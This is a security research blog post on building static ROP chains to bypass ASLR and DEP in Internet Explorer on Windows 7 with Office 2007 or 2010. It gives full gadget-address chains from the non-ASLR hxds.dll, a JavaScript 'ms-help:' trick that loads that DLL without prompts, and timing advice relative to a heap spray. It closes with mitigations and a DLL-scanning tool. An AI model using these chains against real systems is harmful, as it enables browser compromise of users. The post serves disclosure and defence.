Exploiting vulnerabilities on Windows 7 is not as easy as it used to be on Windows XP. Writing an exploit to bypass ASLR and DEP on Windows 7 was still relatively easy if Java 6 was installed as it got shipped with non aslr msvcr71.dll library. Now that Java 7 has been out for a while hopefully everyone should be using this version as msvcr71.dll does not exist with Java 7. With this in mind creating a reliable ROP chain is going to be difficult again as finding some information leak my guess is not going to be a straight forward not to mention the time it would take to create our ROP chain if a leak even exists. So I set myself the task to see if I could create a reliable static ROP chain on a fully patched Windows 7 machine with and without Microsoft Office.
Windows 7 only
After carrying out a default installation of Windows 7 sp1 (Enterprise) and getting it all up-to-date with patches I carried out a scan of all non aslr DLLs on the system and was amazed to find nearly 600 non alsr DLLs. Ok a lot were duplicates so removing these from my list I ended up with around 200 unique DLLs to play with. One way I thought I could possibly load the library in Internet Explorer is by calling a classid object tag so after searching for clsid string in the DLLs one library stood out “VsaVb7rt.dll”
Filename - VsaVb7rt.dll Path - C:\Windows\Microsoft.NET\Framework\v2.0.50727\ MD5 hash - 22f450c23d8abdfa6bed991ad1c34b1c Size - 1,340,752 bytes Signed - 29th September 2010 08:46:12
After obtaining the classid guid using the tool Bintext I loaded it up in the browser
<HTML> <OBJECT classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </OBJECT> </HTML>
The issue with loading libraries via guids is that user interaction is first required before exploiting so in the real world this would not be a viable option unless your testing your own exploits from a specific address.
Once accepting the security warning it writes to the registry entry below
Windows 7 with MSOffice 2007/2010
With Windows 7 being a failure I turned my attention to Office 2007. As most users running Windows 7 should be running Office 2010 or the very least running Office 2007. After a default installation of “Microsoft Office 2007 Plus”, getting it fully up-to-date and carrying a another scan a number of additional non aslr DLLs where found that could be loaded via its own guids as above but again pretty useless with the prompts given. After browsing/grepping the strings in the libraries I found one library that could be loaded in Internet Explorer without any interaction and that library being “hxds.dll” 
. This library can be loaded using its protocol handler by location.href = ‘ms-help:’
<SCRIPT language="JavaScript"> location.href = 'ms-help:' </SCRIPT>
This library does not get rebased either so is perfect for our ROP chain. Carrying out the same routine with “Microsoft Office 2010 Plus” I found the same library “hxds.dll” that we can use but our ROP chain would be different as the file has been updated.
Details of the library on Office 2007
Filename - hxds.dll Path - C:\Program Files\Common Files\microsoft shared\Help\ MD5 hash - 9e7370cc3d6a43942433f85d0e2bbdd8 Size - 873,216 bytes Signed - 19th August 2006 11:52:41
Details of the library on Office 2010
Filename - hxds.dll Path - C:\Program Files\Common Files\microsoft shared\Help\ MD5 hash - 23fdb0c309e188a5e3c767f8fc557d83 Size - 877,368 bytes Signed - 23rd May 2009 12:24:33
Here is the ROP chain generated by Mona.py on Office 2007
0x51be25dc, # POP EDI # RETN [hxds.dll] 0x51bd1158, # ptr to &VirtualProtect() [IAT hxds.dll] 0x51c3098e, # MOV EAX,DWORD PTR DS:[EDI] # RETN [hxds.dll] 0x51c39987, # XCHG EAX,ESI # RETN [hxds.dll] 0x51bf1761, # POP EBP # RETN [hxds.dll] 0x51c4b2df, # & call esp [hxds.dll] 0x51bf2e19, # POP EBX # RETN [hxds.dll] 0x00000201, # 0x00000201-> ebx 0x51bfa969, # POP EDX # RETN [hxds.dll] 0x00000040, # 0x00000040-> edx 0x51c385a2, # POP ECX # RETN [hxds.dll] 0x51c5b991, # &Writable location [hxds.dll] 0x51bf7b52, # POP EDI # RETN [hxds.dll] 0x51c3f011, # RETN (ROP NOP) [hxds.dll] 0x51c433d7, # POP EAX # RETN [hxds.dll] 0x90909090, # nop 0x51c0a4ec, # PUSHAD # RETN [hxds.dll]
and the ROP chain on Office 2010
0x51bf34b4, # POP ESI # RETN [hxds.dll] 0x51bd10b8, # ptr to &VirtualProtect() [IAT hxds.dll] 0x51bd2d97, # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 0x51bdcba0, # XCHG EAX,ESI # RETN 00 [hxds.dll] 0x51c379e2, # POP EBP # RETN [hxds.dll] 0x51c59683, # & call esp [hxds.dll] 0x51be198c, # POP EBX # RETN [hxds.dll] 0x00000201, # 0x00000201-> ebx 0x51c35ac3, # POP EDX # RETN [hxds.dll] 0x00000040, # 0x00000040-> edx 0x51becf3e, # POP ECX # RETN [hxds.dll] 0x51c5d150, # &Writable location [hxds.dll] 0x51bef563, # POP EDI # RETN [hxds.dll] 0x51c07402, # RETN (ROP NOP) [hxds.dll] 0x51c56fbd, # POP EAX # RETN [hxds.dll] 0x90909090, # nop 0x51c3604e, # PUSHAD # RETN [hxds.dll]
In order for our exploit to be successful I’ve seen its best to call the protocol handler after the heap spray and before triggering the vulnerability. Finally here is an exploit (password “answerworks”, md5hash 5bc94894890298710f30d91d6104e568) based from my last post where I have just changed the ROP chain from using msvcr71.dll to using hxds.dll. For now I see two options to mitigate this, one is to disable the protocol handler which can be done easily by changing the name or value in the registry or delete it completely. The downside is that I don’t know how it would impact applications using this handler.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\ms-help]
@="Help HxProtocol"
"CLSID"="{314111c7-a502-11d2-bbca-00c04f8ec294}"
The second option would be to get Microsoft EMET installed if you haven’t already done so and make sure “MandatoryASLR” is enabled for the iexplore.exe process. I can’t emphasize enough how vital it is to have this tool installed so please do not delay and get it deployed ASAP.
Hi Max, I created a tool in C to check the file headers for IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE value. I thought using a simple exe tool keeping a low footprint on the machine than installing Perl or Python. Here in an example of the steps I took
1. List out all dll files on system to a file
>dir c:\*.dll /b /s >dll_win7sp1.txt
2. Check which dll files are non ASLRed and output to file
>aslrchk.exe -l dll_win7sp1.txt 1 >dll_win7sp1_nonaslr.txt
3. Check which non ALSR files have clsid string in them
>findstr /i /m /c:”clsid =” /f:dll_win7sp1_nonaslr.txt >clsids.txt
You can download the tool from here http://www.greyhathacker.net/tools/aslrchk.exe
md5hash – 65328200dc0bd19d4fbbb77bf57beb97
